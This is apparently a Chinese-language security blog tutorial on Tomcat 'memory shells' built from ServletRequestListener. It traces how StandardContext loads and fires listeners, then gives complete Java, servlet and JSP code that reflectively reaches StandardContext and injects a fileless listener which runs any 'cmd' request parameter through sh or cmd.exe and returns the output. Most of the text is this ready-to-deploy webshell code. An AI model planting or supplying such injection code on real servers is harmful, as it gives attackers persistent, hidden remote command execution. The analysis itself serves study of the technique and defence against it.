Preparation
在之前学习Filter内存马和Servlet内存马时不难看出,内存马的实现就是动态注册一个Filter/Servlet,然后在其中编写恶意类方法,即可起到无文件落地同时可以执行命令的目的。
Listener分为以下几种:
- ServletContextListener,服务器启动和终止时触发;
- HttpSessionListener,有关Session操作时触发;
- ServletRequestListener,访问服务时触发。
其中,ServletRequestListener是最适合用来作为内存马的,因为ServletRequestListener是用来监听ServletRequest对 象的,当访问任意资源时,都会触发ServletRequestListener#requestInitialized方法。

Process Analysis
环境搭建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package listener;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener;
@WebListener() public class HelloListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { String name = sre.getServletRequest().getClass().getName(); System.out.println(name); System.out.println("Listener..."); } }
|
跟进javax.servlet.ServletRequestEvent,该类可以通过getServletRequest方法来获取ServletRequest。

运行构建的Demo,可以看到,每次请求都会触发Listener,且getServletRequest方法获取到的ServletRequest是org.apache.catalina.connector.RequestFacade。并且在org.apache.catalina.connector.RequestFacade的属性中存在Request属性,可以通过反射来获取。可以看到在下面的示例代码中,成功获取到的请求中的reuqest属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package listener;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.lang.reflect.Field;
@WebListener() public class HelloListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade request = (RequestFacade) sre.getServletRequest(); try { Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade"); Field field = aClass.getDeclaredField("request"); field.setAccessible(true); Request request1 = (Request) field.get(request); System.out.println(request1); } catch (Exception e) { e.printStackTrace(); } } }
|

通过反射获取Request属性,获取其请求的参数用来执行命令,并利用其的Response将命令执行的结果回显。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package listener;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@WebListener() public class HelloListener implements ServletRequestListener {
@Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade request = (RequestFacade) sre.getServletRequest(); String cmd = request.getParameter("cmd"); try { Class<?> aClass = Class.forName("org.apache.catalina.connector.RequestFacade"); Field field = aClass.getDeclaredField("request"); field.setAccessible(true); Request request1 = (Request) field.get(request); Response response = request1.getResponse();
if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } catch (Exception e) { e.printStackTrace(); } } }
|

上文分析了如何构造恶意的Listener,接着来看看如何动态注册上文构造的恶意的Listener。在之前分析Tomcat Architecture时,提到过在org.apache.catalina.core.StandardContext类的startInternal方法中,会分别调用listenerStart、filterStart和loadOnStartup来分别触发Listener、Filter、Servlet的构造加载。
跟进org.apache.catalina.core.StandardContext#listenerStart方法,该方法调用org.apache.catalina.core.StandardContext#findApplicationListeners方法来获取listeners数组,接着挨个从listeners数组取出并进行实例化,然后存入results数组中。
接着遍历results数组,根据不同类型的Listener,分别添加进eventListeners数组和lifecycleListeners数组。之后会调用org.apache.catalina.core.StandardContext#setApplicationEventListeners方法来清空applicationEventListenersList并重新赋值。而applicationEventListenersList中存放的正是之前实例化后的listener。



通过上文的分析中可以知道,org.apache.catalina.core.StandardContext#listenerStart方法会将Listener实例化后添加到applicationEventListenersList中,接着来看看如何触发实例化的Listener。
在Demo中的requestInitialized方法中下断点,看看在requestInitialized方法前实现了调用了一些什么方法。跟进org.apache.catalina.core.StandardContext#fireRequestInitEvent方法,该方法调用了org.apache.catalina.core.StandardContext#getApplicationEventListeners方法,而getApplicationEventListeners方法中返回的正是前面的applicationEventListenersList。接着遍历instances数组,并调用每个listener的requestInitialized方法。因此如果能够在applicationEventListenersList中添加构造的恶意的Listener,则能调用到构造的恶意Listener。


Achievement
Idea
动态注入Listener内存马的具体思路如下:
- 继承并编写一个恶意Listener;
- 获取StandardContext;
- 调用StandardContext#addApplicationEventListener添加恶意Listener。
Dynamic Registration
Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package servlet;
import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletContext; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@WebServlet(name = "ListenerMemoryShellServlet", value = "/ListenerMemoryShellServlet") public class ListenerMemoryShellServlet extends HelloServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { super.doGet(request, response); }
@Override protected void doPost(HttpServletRequest request, HttpServletResponse response) { try { ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); try { String cmd = request.getParameter("cmd"); Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } catch (Exception e) { e.printStackTrace(); } } }; standardContext.addApplicationEventListener(listener); } catch (Exception e) { e.printStackTrace(); } } }
|

JSP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.connector.RequestFacade" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% ServletContext servletContext = request.getSession().getServletContext(); Field context = servletContext.getClass().getDeclaredField("context"); context.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext); Field context1 = applicationContext.getClass().getDeclaredField("context"); context1.setAccessible(true); StandardContext standardContext = (StandardContext) context1.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent sre) { }
@Override public void requestInitialized(ServletRequestEvent sre) { RequestFacade requestFacade = (RequestFacade) sre.getServletRequest(); try { String cmd = request.getParameter("cmd"); Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null) { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; }
String[] command = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } catch (Exception e) { e.printStackTrace(); } } }; standardContext.addApplicationEventListener(listener); response.getWriter().write("Listener Inject Successfully..."); %>
|
